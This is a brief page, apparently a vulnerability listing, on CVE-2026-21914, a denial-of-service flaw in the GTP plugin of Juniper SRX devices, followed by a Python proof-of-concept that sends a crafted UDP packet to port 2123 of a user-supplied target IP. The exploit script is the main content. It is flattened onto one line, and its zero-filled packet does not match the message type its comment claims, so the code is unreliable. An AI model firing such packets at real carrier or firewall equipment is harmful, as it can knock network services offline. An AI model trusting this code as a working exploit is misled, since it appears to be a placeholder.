CVE-2026-21914: Juniper Junos OS SRX系列GTP插件不当锁定拒绝服务漏洞

#!/usr/bin/env python3 import socket # 构造特制的GTP Modify Bearer Request消息 def create_malformed_gtp_packet(): # GTP消息头 gtp_header = bytes([0x32, 0x01, 0x00, 0x00]) # GTP协议头 # 添加触发漏洞的负载 payload = b'\x00' * 100 # 填充数据 return gtp_header + payload def exploit_cve_2026_21914(target_ip, target_port=2123): sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) packet = create_malformed_gtp_packet() sock.sendto(packet, (target_ip, target_port)) sock.close() if __name__ == "__main__": print("CVE-2026-21914 PoC") target = input("目标IP: ") exploit_cve_2026_21914(target)